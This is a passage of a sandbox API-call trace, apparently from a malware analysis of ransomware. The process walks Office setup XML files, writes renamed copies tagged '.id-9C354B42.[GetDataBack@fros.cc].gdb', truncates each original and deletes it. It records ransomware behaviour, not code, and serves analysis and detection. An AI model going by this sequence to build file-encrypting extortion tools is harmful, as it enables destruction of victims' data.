[0121.101] lstrlenW (lpString=".xlsx") returned 5 [0121.101] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0121.101] lstrlenW (lpString=".ppt") returned 4 [0121.101] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.101] lstrlenW (lpString=".zip") returned 4 [0121.101] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.101] lstrlenW (lpString=".rar") returned 4 [0121.101] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString=".bz2") returned 4 [0121.101] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString=".7z") returned 3 [0121.101] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.101] lstrlenW (lpString=".dbf") returned 4 [0121.101] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.101] lstrlenW (lpString=".1cd") returned 4 [0121.101] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.101] lstrlenW (lpString=".jpg") returned 4 [0121.101] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.101] lstrlenW (lpString=".doc") returned 4 [0121.101] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString=".docx") returned 5 [0121.101] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0121.101] lstrlenW (lpString=".pdf") returned 4 [0121.101] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString=".xls") returned 4 [0121.101] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString=".xlsx") returned 5 [0121.101] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0121.102] lstrlenW (lpString=".ppt") returned 4 [0121.102] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.102] lstrlenW (lpString=".zip") returned 4 [0121.102] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.102] lstrlenW (lpString=".rar") returned 4 [0121.102] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.102] lstrlenW (lpString=".bz2") returned 4 [0121.102] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.102] lstrlenW (lpString=".7z") returned 3 [0121.102] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.102] lstrlenW (lpString=".dbf") returned 4 [0121.102] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.102] lstrlenW (lpString=".1cd") returned 4 [0121.102] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.102] lstrlenW (lpString=".jpg") returned 4 [0121.102] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.102] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.102] lstrlenW (lpString="Proof.XML") returned 9 [0121.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.102] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1458) returned 1 [0121.102] CloseHandle (hObject=0x1cc) returned 1 [0121.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0121.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.103] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.103] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0121.103] GetLastError () returned 0x0 [0121.103] ReadFile (in: hFile=0x1cc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x5b2, lpOverlapped=0x0) returned 1 [0121.105] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x5c0, lpOverlapped=0x0) returned 1 [0121.105] ReadFile (in: hFile=0x1cc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0121.105] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0121.105] SetEndOfFile (hFile=0x1f0) returned 1 [0121.105] CloseHandle (hObject=0x1f0) returned 1 [0121.106] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.106] SetEndOfFile (hFile=0x1cc) returned 1 [0121.107] CloseHandle (hObject=0x1cc) returned 1 [0121.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.107] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0121.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.107] lstrlenW (lpString=".doc") returned 4 [0121.107] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.107] lstrlenW (lpString=".docx") returned 5 [0121.107] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0121.107] lstrlenW (lpString=".pdf") returned 4 [0121.107] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.107] lstrlenW (lpString=".xls") returned 4 [0121.107] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.107] lstrlenW (lpString=".xlsx") returned 5 [0121.107] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0121.107] lstrlenW (lpString=".ppt") returned 4 [0121.107] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.108] lstrlenW (lpString=".zip") returned 4 [0121.108] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.108] lstrlenW (lpString=".rar") returned 4 [0121.108] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.108] lstrlenW (lpString=".bz2") returned 4 [0121.108] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.108] lstrlenW (lpString=".7z") returned 3 [0121.108] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.108] lstrlenW (lpString=".dbf") returned 4 [0121.108] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.108] lstrlenW (lpString=".1cd") returned 4 [0121.108] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.108] lstrlenW (lpString=".jpg") returned 4 [0121.108] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.108] lstrlenW (lpString=".doc") returned 4 [0121.108] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.108] lstrlenW (lpString=".docx") returned 5 [0121.108] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0121.108] lstrlenW (lpString=".pdf") returned 4 [0121.108] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.108] lstrlenW (lpString=".xls") returned 4 [0121.108] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.108] lstrlenW (lpString=".xlsx") returned 5 [0121.108] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0121.108] lstrlenW (lpString=".ppt") returned 4 [0121.108] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.108] lstrlenW (lpString=".zip") returned 4 [0121.108] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.108] lstrlenW (lpString=".rar") returned 4 [0121.108] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.109] lstrlenW (lpString=".bz2") returned 4 [0121.109] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.109] lstrlenW (lpString=".7z") returned 3 [0121.109] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.109] lstrlenW (lpString=".dbf") returned 4 [0121.109] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.109] lstrlenW (lpString=".1cd") returned 4 [0121.109] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0121.109] lstrlenW (lpString=".jpg") returned 4 [0121.109] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.109] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.109] lstrlenW (lpString="Proofing.XML") returned 12 [0121.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.110] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=811) returned 1 [0121.110] CloseHandle (hObject=0x1cc) returned 1 [0121.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0121.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.110] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.110] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0121.110] GetLastError () returned 0x0 [0121.110] ReadFile (in: hFile=0x1cc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x32b, lpOverlapped=0x0) returned 1 [0121.111] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x330, lpOverlapped=0x0) returned 1 [0121.112] ReadFile (in: hFile=0x1cc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0121.112] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0121.112] SetEndOfFile (hFile=0x1f0) returned 1 [0121.112] CloseHandle (hObject=0x1f0) returned 1 [0121.113] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.113] SetEndOfFile (hFile=0x1cc) returned 1 [0121.114] CloseHandle (hObject=0x1cc) returned 1 [0121.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.114] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0121.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.114] lstrlenW (lpString=".doc") returned 4 [0121.114] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.114] lstrlenW (lpString=".docx") returned 5 [0121.114] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0121.114] lstrlenW (lpString=".pdf") returned 4 [0121.114] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.114] lstrlenW (lpString=".xls") returned 4 [0121.114] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.114] lstrlenW (lpString=".xlsx") returned 5 [0121.114] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0121.114] lstrlenW (lpString=".ppt") returned 4 [0121.114] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.114] lstrlenW (lpString=".zip") returned 4 [0121.114] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.114] lstrlenW (lpString=".rar") returned 4 [0121.114] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.114] lstrlenW (lpString=".bz2") returned 4 [0121.115] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString=".7z") returned 3 [0121.115] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.115] lstrlenW (lpString=".dbf") returned 4 [0121.115] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.115] lstrlenW (lpString=".1cd") returned 4 [0121.115] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.115] lstrlenW (lpString=".jpg") returned 4 [0121.115] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.115] lstrlenW (lpString=".doc") returned 4 [0121.115] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString=".docx") returned 5 [0121.115] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0121.115] lstrlenW (lpString=".pdf") returned 4 [0121.115] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString=".xls") returned 4 [0121.115] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString=".xlsx") returned 5 [0121.115] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0121.115] lstrlenW (lpString=".ppt") returned 4 [0121.115] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.115] lstrlenW (lpString=".zip") returned 4 [0121.115] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.115] lstrlenW (lpString=".rar") returned 4 [0121.115] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString=".bz2") returned 4 [0121.115] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString=".7z") returned 3 [0121.115] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.115] lstrlenW (lpString=".dbf") returned 4 [0121.115] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.115] lstrlenW (lpString=".1cd") returned 4 [0121.115] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0121.115] lstrlenW (lpString=".jpg") returned 4 [0121.116] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.116] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.116] lstrlenW (lpString="SETUP.XML") returned 9 [0121.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.116] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=5884) returned 1 [0121.116] CloseHandle (hObject=0x1cc) returned 1 [0121.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0121.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.116] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.116] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0121.118] GetLastError () returned 0x0 [0121.118] ReadFile (in: hFile=0x1cc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x16fc, lpOverlapped=0x0) returned 1 [0121.119] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x1700, lpOverlapped=0x0) returned 1 [0121.120] ReadFile (in: hFile=0x1cc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0121.120] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0121.120] SetEndOfFile (hFile=0x1f0) returned 1 [0121.120] CloseHandle (hObject=0x1f0) returned 1 [0121.121] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.121] SetEndOfFile (hFile=0x1cc) returned 1 [0121.121] CloseHandle (hObject=0x1cc) returned 1 [0121.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office 